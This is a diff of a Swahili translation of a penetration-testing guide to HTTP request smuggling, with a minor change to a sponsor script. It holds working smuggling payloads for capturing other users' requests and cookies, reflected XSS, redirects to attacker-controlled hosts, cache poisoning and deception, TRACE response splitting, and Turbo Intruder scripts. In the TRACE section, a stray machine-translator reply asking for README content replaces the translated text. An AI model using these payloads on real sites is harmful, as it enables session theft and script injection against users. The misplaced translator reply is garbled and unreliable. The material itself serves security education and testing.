+Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililojazwa baadaye linashughulikiwa kulingana na kichwa cha `Content-Length`. Kama ilivyo katika shambulio la CL.TE, the front-end proxy hupuuza the smuggled `GET /admin` request, na bila kukusudia hutoa ufikiaji kwa njia iliyozuiliwa `/admin`.

-### Kufichua urekebishaji wa maombi wa front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Kufichua uhariri wa maombi wa front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

-Maombi mara nyingi hutumia **front-end server** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni kuongeza headers, kama `X-Forwarded-For: <IP of the client>`, ili kuwasilisha IP ya mteja kwa back-end. Kuelewa marekebisho haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za **bypass protections** au **uncover concealed information or endpoints**.
+Programu za wavuti mara nyingi hutumia **front-end server** kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni pamoja na kuongeza headers, kama `X-Forwarded-For: <IP of the client>`, ili kusafirisha IP ya mteja kwa back-end. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za **kuepuka ulinzi** au **kugundua taarifa zilizofichwa au endpoints**.

-Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatavyo:
+Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika response. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatayo:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -451,19 +500,19 @@ Content-Length: 100

 search=
 ```
-Katika muundo huu, sehemu za baadaye za request zinaambatishwa baada ya `search=`, ambayo ni parameter inayorudishwa katika response. Uonyeshaji huu utafunua headers za request iliyofuata.
+Katika muundo huu, vipengele vinavyofuata vya request vinaongezwa baada ya `search=`, ambayo ni parameter inayorudishwa katika response. Uakisi huu utafunua headers za request inayofuata.

-Ni muhimu kulinganisha header ya `Content-Length` ya nested request na urefu halisi wa content. Ni vema kuanza na thamani ndogo na kuiongeza hatua kwa hatua, kwani thamani iliyokuwa ndogo sana itakata data iliyorudishwa, wakati thamani kubwa sana inaweza kusababisha request kupata error.
+Ni muhimu kulinganisha header ya `Content-Length` ya nested request na urefu halisi wa content. Kuanza na thamani ndogo na kuiongezea polepole ni busara, kwa sababu thamani ndogo itakata data iliyoreflektwa, wakati thamani kubwa sana inaweza kusababisha request kutoa error.

-Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika na `search=\r\n0`. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.
+Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika kwa `search=\r\n0`. Bila kuzingatia newline characters, thamani zitatajirisha kwenye parameter ya search.

-Mbinu hii hasa hutumika kuelewa mabadiliko ya request yaliyofanywa na front-end proxy — kwa ujumla, kufanya uchunguzi wa kibinafsi.
+Njia hii kwa msingi wake inatumika kuelewa mabadiliko ya request yanayotolewa na front-end proxy, kwa msingi kufanya uchunguzi wa kujitegemea.

-### Kupata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Kukamata requests za watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa POST. Hapa kuna jinsi hii inaweza kufanywa:
+Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa operesheni ya POST. Hivi ndivyo inavyoweza kufanywa:

-Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya mteja anayefuata:
+Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya client inayofuata:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Katika tukio hili, the **comment parameter** imekusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya post kwenye ukurasa unaopatikana kwa umma. Kwa hiyo, yaliyomo ya ombi linalofuata yataonekana kama maoni.
+Katika tukio hili, **comment parameter** inakusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, yaliyomo ya request inayofuata yataonekana kama maoni.

-Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data hadi delimiter ya parameter inayotumika katika smuggled request. Kwa uwasilishaji wa fomu zilizotumwa kwa URL-encoding, delimiter hii ni tabia ya `&`. Hii inamaanisha yaliyokamatwa kutoka kwa ombi la mtumiaji-mhusika yatakoma kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.
+Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi delimiter ya parameter inayotumiwa katika smuggled request. Kwa URL-encoded form submissions, delimiter ni tabia ya `&`. Hii inamaanisha yaliyomkamatwa kutoka kwa request ya mtumiaji mjeruhi yatakwama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.

-Zaidi ya hayo, inafaa kutambua kwamba njia hii pia inawezekana kwa TE.CL vulnerability. Katika kesi kama hizo, ombi linapaswa kumalizika kwa `search=\r\n0`. Bila kujali newline characters, values zitaongezwa kwenye parameter ya search.
+Zaidi ya hayo, inafaa kutambua kuwa njia hii pia inaweza kufanya kazi kwa TE.CL vulnerability. Katika kesi hizo, request inapaswa kumalizika na `search=\r\n0`. Bila kujali newline characters, thamani zitakuwa appended kwenye parameter ya search.

-### Kutumia HTTP Request Smuggling ku-exploit Reflected XSS
+### Kutumia HTTP request smuggling to exploit Reflected XSS

-HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizo hatarini kwa **Reflected XSS**, na kutoa faida zifuatazo:
+HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizoathirika na **Reflected XSS**, ikitoa faida kubwa:

- Ushawishi na watumiaji wa lengo **hauhitajiki**.
- Inaruhusu ku-exploit XSS katika sehemu za ombi ambazo **kwa kawaida hazipatikani**, kama HTTP request headers.
+- Kujihusisha na watumiaji walengwa **hayahitajiki**.
+- Inawezesha ku-exploit XSS katika sehemu za request ambazo kwa kawaida ni **hazipatikani**, kama HTTP request headers.

-Katika matukio ambapo tovuti ina hatari ya Reflected XSS kupitia header ya User-Agent, the following payload inaonyesha jinsi ya ku-exploit vulnerability hii:
+Katika matukio ambapo tovuti inakabiliwa na Reflected XSS kupitia User-Agent header, payload ifuatayo inaonyesha jinsi ya ku-exploit vulnerability hii:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -517,36 +566,36 @@ Content-Type: application/x-www-form-urlencoded

 A=
 ```
-This payload imepangwa kunufaisha udhaifu kwa:
+Payload hii imepangwa kutumia udhaifu kwa njia zifuatazo:

-1. Kuanza na `POST` request, inaonekana ya kawaida, yenye header ya `Transfer-Encoding: chunked` kuashiria mwanzo wa smuggling.
-2. Kufuatia na `0`, ikionyesha mwisho wa chunked message body.
-3. Kisha, smuggled `GET` request inaingizwa, ambapo header ya `User-Agent` imeingizwa na script, `<script>alert(1)</script>`, inayoanzisha XSS wakati server inaposhughulikia request iliyofuata.
+1. Kuanza ombi la `POST`, linaloonekana kawaida, kwa header `Transfer-Encoding: chunked` kuonyesha mwanzo wa smuggling.
+2. Kufuata na `0`, ikionyesha mwisho wa body ya meseji ya chunked.
+3. Kisha, ombi lililosmuggle la `GET` linaingizwa, ambapo header `User-Agent` limeingizwa na script `<script>alert(1)</script>`, likochochea XSS wakati server inachakata ombi hili.

-Kwa kudanganya `User-Agent` kupitia smuggling, payload inapita vizingiti vya kawaida vya request, na hivyo kunufaisha Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
+Kwa kuathiri `User-Agent` kupitia smuggling, payload hupita (bypasses) vizingiti vya kawaida vya maombi, na hivyo kutumia Reflected XSS vulnerability kwa njia isiyo ya kawaida lakini yenye ufanisi.

 #### HTTP/0.9

 > [!CAUTION]
-> Ikiwa maudhui ya mtumiaji yanarudishwa kwenye response yenye **`Content-type`** kama **`text/plain`**, jambo hilo linaweza kuzuia utekelezaji wa XSS. Ikiwa server inasaidia **HTTP/0.9**, inaweza kuwa inawezekana kupitisha hili!
+> Ikiwa maudhui ya mtumiaji yanarudishwa kwenye response yenye **`Content-type`** kama **`text/plain`**, ambayo inazuia utekelezaji wa XSS. Ikiwa server inaunga mkono **HTTP/0.9 inaweza kuwa inawezekana bypass hii**!

-Toleo la HTTP/0.9 lilikuwa kabla ya 1.0 na linatumia tu vitenzi vya **GET** na halijibu na **headers**, bali tu body.
+Toleo la HTTP/0.9 lilikuwepo kabla ya 1.0 na linatumia tu vitenzi vya **GET** na **halijibu** kwa **headers**, bali mwili tu.

-Katika [**this writeup**](https://mizu.re/post/twisty-python), hili lilitumiwa kwa request smuggling na **vulnerable endpoint ambayo itajibu na input ya mtumiaji** ili ku-smuggle request kwa HTTP/0.9. Parameter ambayo itarudishwa kwenye response ilijumuisha **fake HTTP/1.1 response (with headers and body)** hivyo response itakuwa na JS ambayo inaweza kutekelezwa ikiwa yana `Content-Type` ya `text/html`.
+Katika [**this writeup**](https://mizu.re/post/twisty-python), hili lilitumiwa kwa request smuggling na **endpoint iliyo dhaifu ambayo itajibu kwa maingizo ya mtumiaji** ili kusmuggle ombi kwa HTTP/0.9. Parameteri ambayo itarudishwa kwenye response ilikuwa na **fake HTTP/1.1 response (with headers and body)** hivyo response itajumuisha msimbo halali wa JS unaotekelezeka pamoja na `Content-Type` ya `text/html`.

-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Kutumia On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

-Applications mara nyingi zinafanya redirect kutoka URL moja kwenda nyingine kwa kutumia hostname kutoka kwa `Host` header katika redirect URL. Hii ni kawaida kwenye web servers kama Apache na IIS. Kwa mfano, kuomba folder bila trailing slash husababisha redirect ili kuongeza slash:
+Maombi mara nyingi huredirect kutoka URL moja hadi nyingine kwa kutumia hostname kutoka kwenye header ya `Host` katika redirect URL. Hii ni ya kawaida kwa web servers kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho husababisha redirect ili kujumuisha slash:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Matokeo ni:
+Matokeo:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Ingawa kwa kuonekana haina hatari, tabia hii inaweza kutumiwa kwa kutumia HTTP request smuggling ili kuwaelekeza watumiaji kwenye tovuti ya nje. Kwa mfano:
+Ingawa inaonekana isiyoharibu, tabia hii inaweza kudhibitiwa kwa kutumia HTTP request smuggling ili kupeleka watumiaji kwenye tovuti ya nje. Kwa mfano:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -560,29 +609,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Ombi hili la smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatalo kuelekezwa kwenye tovuti inayodhibitiwa na mshambuliaji:
+Ombi hili smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatayo kuelekezwa hadi attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-Matokeo:
+Matokeo yake:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa. Mshambuliaji anaweza kumdhibiti mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.
+Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa na mshambuliaji. Mshambuliaji anaweza kumdhuru mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.

-### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Kutumia Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Web cache poisoning inaweza kufanywa ikiwa sehemu yoyote ya **front-end infrastructure caches content**, kawaida ili kuboresha utendaji. Kwa kudanganya majibu ya seva, inawezekana **poison the cache**.
+Web cache poisoning inaweza kufanywa ikiwa kipengele chochote cha **miundombinu ya mbele kinakamata yaliyomo**, kawaida ili kuboresha utendaji. Kwa kuutapanya jibu la server, inawezekana **poison the cache**.

-Tangulia, tuliangazia jinsi majibu ya seva yalivyoweza kubadilishwa ili kurudisha hitilafu ya 404 (refer to [Basic Examples](#basic-examples)). Vivyo hivyo, inawezekana kudanganya seva ili itume maudhui ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa matokeo, maudhui ya `/static/include.js` yanabadilishwa kwenye cache na yale ya `/index.html`, na hivyo kufanya `/static/include.js` isipatikane kwa watumiaji, ambayo inaweza kusababisha Denial of Service (DoS).
+Awali, tuliona jinsi majibu ya server yalivyoweza kubadilishwa ili kurudisha kosa la 404 (rejea [Basic Examples](#basic-examples)). Vivyo hivyo, inawezekana kumdanganya server ili itume yaliyomo ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, yaliyomo ya `/static/include.js` yanabadilishwa kwenye cache na yale ya `/index.html`, na kuifanya `/static/include.js` isipatikane kwa watumiaji, jambo linaloweza kusababisha Denial of Service (DoS).

-Teknika hii inakuwa hatari hasa ikiwa **Open Redirect vulnerability** itagunduliwa au ikiwa kuna **on-site redirect to an open redirect**. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa kwenye cache ya `/static/include.js` na script chini ya udhibiti wa mshambuliaji, kwa kweli kuruhusu mashambulizi ya Cross-Site Scripting (XSS) kwa wateja wote wanaoomba `/static/include.js` iliyosasishwa.
+Mbinu hii inakuwa hatari zaidi ikiwa inagundulika udhaifu wa **Open Redirect vulnerability** au ikiwa kuna **on-site redirect to an open redirect**. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyokamatwa ya `/static/include.js` na script inayodhibitiwa na mshambuliaji, kwa msingi kuruhusu shambulio la Cross-Site Scripting (XSS) dhidi ya wateja wote wanaoomba `/static/include.js` iliyosasishwa.

-Chini ni mwonekano wa jinsi ya kutumia **cache poisoning combined with an on-site redirect to open redirect**. Lengo ni kubadilisha maudhui yaliyomo kwenye cache ya `/static/include.js` ili kutoa code ya JavaScript inayodhibitiwa na mshambuliaji:
+Hapo chini ni mfano wa kutumia **cache poisoning combined with an on-site redirect to open redirect**. Lengo ni kubadilisha yaliyomo kwenye cache ya `/static/include.js` ili kutumikia msimbo wa JavaScript unaodhibitiwa na mshambuliaji:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -600,20 +649,20 @@ Content-Length: 10

 x=1
 ```
-Zingatia embedded request inayolenga `/post/next?postId=3`. This request itaelekezwa tena kwenda `/post?postId=4`, ikitumia **Host header value** kubaini domain. Kwa kubadilisha **Host header**, mshambuliaji anaweza kuiredirect request kwenda domain yao (**on-site redirect to open redirect**).
+Angalia ombi lililojumuishwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa hadi `/post?postId=4`, likitumia **Host header value** kutambua domain. Kwa kubadilisha **Host header**, mshambuliaji anaweza kurekebisha ombi liolekezwe kwa domain yao (**on-site redirect to open redirect**).

-Baada ya mafanikio ya **socket poisoning**, **GET request** kwa `/static/include.js` inapaswa kuanzishwa. This request itachafuliwa na request ya awali ya **on-site redirect to open redirect** na itachukua maudhui ya script inayodhibitiwa na mshambuliaji.
+Baada ya kufanikiwa kwa **socket poisoning**, ombi la **GET request** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **on-site redirect to open redirect** na litapakia maudhui ya script inayodhibitiwa na mshambuliaji.

-Baadaye, any request kwa `/static/include.js` itatoa maudhui yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, kwa ufanisi kuzindua shambulio la **XSS** pana.
+Baadaye, ombi lolote la `/static/include.js` litahudumia yaliyomo yaliyohifadhiwa (cache) ya script ya mshambuliaji, na hivyo kuanzisha shambulio pana la XSS.

 ### Kutumia HTTP request smuggling kutekeleza web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

-> **Je, ni tofauti gani kati ya web cache poisoning na web cache deception?**
+> **Je, tofauti kati ya web cache poisoning na web cache deception ni nini?**
 >
-> - Katika **web cache poisoning**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa application.
-> - Katika **web cache deception**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, na kisha mshambuliaji huzipata maudhui haya kutoka kwenye cache.
+> - Katika **web cache poisoning**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya yanatolewa kutoka cache kwa watumiaji wengine wa application.
+> - Katika **web cache deception**, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine kwenye cache, kisha mshambuliaji anaponya/kuupata maudhui haya kutoka cache.

-Mshambuliaji anatengeneza smuggled request inayopata maudhui nyeti ya mtumiaji fulani. Consider the following example:
+Mshambuliaji huunda smuggled request inayopakua maudhui nyeti maalum ya mtumiaji. Angalia mfano ufuatao:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -624,17 +673,19 @@ Mshambuliaji anatengeneza smuggled request inayopata maudhui nyeti ya mtumiaji f
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Iki ombi lililofichwa likipotia sumu kipengee cha cache kilichokusudiwa kwa maudhui ya static (mfano, `/someimage.png`), data nyeti za mwathirika kutoka `/private/messages` zinaweza kuhifadhiwa chini ya kipengee hicho cha cache cha maudhui ya static. Kwa hivyo, mshambuliaji anaweza kupata data hizi nyeti zilizohifadhiwa kwenye cache.
+Iwapo smuggled request hii itaharibu cache entry iliyolengwa kwa static content (mfano, `/someimage.png`), data nyeti za victim kutoka `/private/messages` zinaweza kuhifadhiwa chini ya cache entry ya static content. Kwa hivyo, attacker anaweza kupata data hizi zilizohifadhiwa.

-### Kutumia vibaya TRACE kupitia HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-[**In this post**](https://portswigger.net/research/trace-desync-attack) inapendekeza kwamba ikiwa server imewezeshwa method TRACE, inaweza kuwa inawezekana kuitumia vibaya kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) inapendekeza kwamba ikiwa server imewezeshwa method TRACE inaweza kuwa inawezekana kuitumia kwa HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Tafadhali nitumie maudhui ya README.md unayotaka nitafsiri. Nitatafsiri maandishi ya Kiingereza muhimu kwa Kiswahili na kuhifadhi syntax ya markdown/html, code, links, refs na tags bila kubadilisha. Tuma yaliyomo hapa.
+I don’t see the README.md content yet. Please paste the text (or attach the file) you want translated. I will translate relevant English text to Swahili, preserving all markdown, code, tags, links, paths and hacking-specific terms as you requested.
+
+Do you want the entire file translated or only specific sections?
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -645,15 +696,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Mfano wa jinsi ya kutumia vibaya tabia hii ni **smuggle first a HEAD request**. Request hii itajibiwa kwa tu na **headers** za GET request (**`Content-Type`** miongoni mwa hizo). Na smuggle **immediately after the HEAD a TRACE request**, ambayo itarudisha data iliyotumwa.\
-Kwa kuwa HEAD response itakuwa na header ya `Content-Length`, **response ya TRACE request itachukuliwa kama body ya HEAD response, hivyo ikirudisha data yoyote** katika response.\
-Hii response itatumwa kwa request inayofuata juu ya connection, hivyo inaweza **kutumika katika cached JS file kwa mfano kuingiza JS code chochote**.
+Mfano wa jinsi ya kuutumia vibaya tabia hii ungekuwa **smuggle first a HEAD request**. Ombi hili litajibiwa kwa **headers** tu za ombi la GET (**`Content-Type`** ikiwa miongoni mwao). Na **smuggle immediately after the HEAD a TRACE request**, ambayo itakuwa **reflecting the sent data**.\
+Kwa kuwa jibu la HEAD litakuwa na kichwa `Content-Length`, basi **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** kwenye jibu.\
+Jibu hili litatumwa kwa ombi lijalo juu ya muunganiko, hivyo hili linaweza **used in a cached JS file for example to inject arbitrary JS code**.

-### Kutumia vibaya TRACE kupitia HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Kuendelea kufuata [**this post**](https://portswigger.net/research/trace-desync-attack) kunapendekezwa kama njia nyingine ya kutumia vibaya TRACE method. Kama ilivyoelezwa, kwa smuggling a HEAD request na a TRACE request inawezekana **kudhibiti baadhi ya reflected data** katika response ya HEAD request. Urefu wa body ya HEAD request unaashiriwa katika header ya `Content-Length` na unaundwa na response ya TRACE request.
+Kuendelea kufuata [**this post**](https://portswigger.net/research/trace-desync-attack) kunapendekezwa kama njia nyingine ya kuutumia TRACE method. Kama ilivyotajwa, smuggling a HEAD request and a TRACE request inawezekana **control some reflected data** katika jibu la HEAD request. Urefu wa body ya ombi la HEAD kwa msingi unaonyeshwa katika kichwa `Content-Length` na umeundwa na jibu la ombi la TRACE.

-Hivyo, wazo jipya ni kwamba, ukijua Content-Length hii na data iliyo katika TRACE response, inawezekana kufanya TRACE response ije na valid HTTP response baada ya byte ya mwisho ya Content-Length, ikimuruhusu mshambuliaji kudhibiti kabisa request kwa response inayofuata (ambayo inaweza kutumika kufanya cache poisoning).
+Kwa hivyo, wazo jipya ni kwamba, kwa kujua Content-Length hii na data iliyotolewa katika jibu la TRACE, inawezekana kufanya jibu la TRACE liwe na valid HTTP response baada ya byte ya mwisho wa Content-Length, ikimruhusu mshambuliaji kudhibiti kabisa request kwa response ijayo (ambayo inaweza kutumika kufanya cache poisoning).

 Example:
 ```
@ -674,7 +725,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Itatengeneza majibu haya (tazama jinsi jibu la HEAD lina Content-Length linalofanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara Content-Length ya HEAD inapomaliza jibu halali la HTTP linafichwa):
+Itatengeneza majibu haya (kumbuka jinsi jibu la HEAD lina Content-Length, ambalo linafanya jibu la TRACE kuwa sehemu ya mwili wa HEAD, na mara Content-Length ya HEAD inapomaliza valid HTTP response is smuggled):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -695,10 +746,9 @@ Content-Length: 50

 <script>alert(“arbitrary response”)</script>
 ```
-### Kuweka kama silaha HTTP Request Smuggling kwa kutumia HTTP Response Desynchronisation
-
-Je, umepata udhaifu wa HTTP Request Smuggling na haujui jinsi ya ku-exploit? Jaribu njia hizi nyingine za exploitation:
+### Kuutumia HTTP Request Smuggling kama silaha kwa HTTP Response Desynchronisation

+Je, umegundua udhaifu wa HTTP Request Smuggling na haujui jinsi ya kulitumia? Jaribu mbinu hizi nyingine za kuitumia:

 {{#ref}}
 ../http-response-smuggling-desync.md
@ -724,7 +774,7 @@ request-smuggling-in-http-2-downgrades.md

 ### CL.TE

-Kutoka [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Kutoka kwa [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):

@ -765,7 +815,7 @@ table.add(req)
 ```
 ### TE.CL

-Kutoka: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
+Chanzo: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -809,14 +859,14 @@ table.add(req)
 ```
 ## Zana

- HTTP Hacker (Burp BApp Store) – onyesha kuunganisha/uframu na tabia ya HTTP ya ngazi ya chini
+- HTTP Hacker (Burp BApp Store) – kuonyesha concatenation/framing na tabia ya HTTP ya ngazi‑chini
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni grammar-based HTTP Fuzzer inayotumika kugundua utofauti usio wa kawaida wa request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni grammar-based HTTP Fuzzer inayofaa kugundua tofauti za ajabu za request smuggling.

 ## Marejeleo

@ -833,6 +883,7 @@ table.add(req)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)


 {{#include ../../banners/hacktricks-training.md}}
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@ -15,7 +15,8 @@
  var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")

  async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
    try {
      const response = await fetch(url, { method: "GET" })
      if (!response.ok) {